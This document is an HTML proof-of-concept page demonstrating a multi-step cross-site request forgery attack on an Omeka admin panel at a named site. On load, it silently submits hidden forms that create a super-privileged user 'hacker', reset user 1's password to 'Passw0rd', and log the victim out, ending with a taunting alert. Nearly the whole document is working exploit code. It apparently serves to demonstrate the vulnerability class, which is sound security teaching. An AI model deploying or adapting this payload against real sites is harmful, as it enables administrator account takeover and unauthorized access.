
Code: 

<html> 

<head> 

<title>XSRF Multi-post attack onload</title> 

<!-- Creation Date: 31 July 2014 --> 

<!-- Author: Adrien de Beaupre --> 

<!-- Original code borrowed from Tim Tomes LaNMaSteR53 --> 

<!-- Demonstrating multi-post XSRF--> 

</head> 

<body onload="runme();"> 

welcome to p0wned by XSRF! 

<form name="xsrf0" action="http://intru-shun.ca/omeka/admin/users/add" method="POST" 

target="frame0"> 

<input type="hidden" name="username" value="hacker" /> 

<input type="hidden" name="name" value="evil" /> 

<input type="hidden" name="email" value="hacker@evil.com" /> 

<input type="hidden" name="role" value="super" /> 

<input type="hidden" name="active" value="1" /> 

</form> 

<form name="xsrf1" action="http://intru-shun.ca/omeka/admin/users/change-password/1" 

method="POST" target="frame1"> 

<input type="hidden" name="new_password" value="Passw0rd" /> 

<input type="hidden" name="new_password_confirm" value="Passw0rd" /> 

</form> 

<form name="xsrf2" action="http://intru-shun.ca/omeka/admin/users/logout" 

method="POST" target=frame2"> 

<input type="hidden" name="Logout" value="yes" /> 

</form> 

<iframe name="frame0"></iframe> 

<iframe name="frame1"></iframe> 

<iframe name="frame2"></iframe> 

<script> 

function runme() 

{ 

document.xsrf0.submit(); 

document.getElementsByTagName("iframe")[0].onload = function() 



{ 

document.xsrf1.submit(); 

document.getElementsByTagName("iframe")[1].onload = function() 

{ 

document.xsrf2.submit(); 

alert('All your base are belong to us') 

} 

} 

} 

</script> 

</body> 

</html> 

 


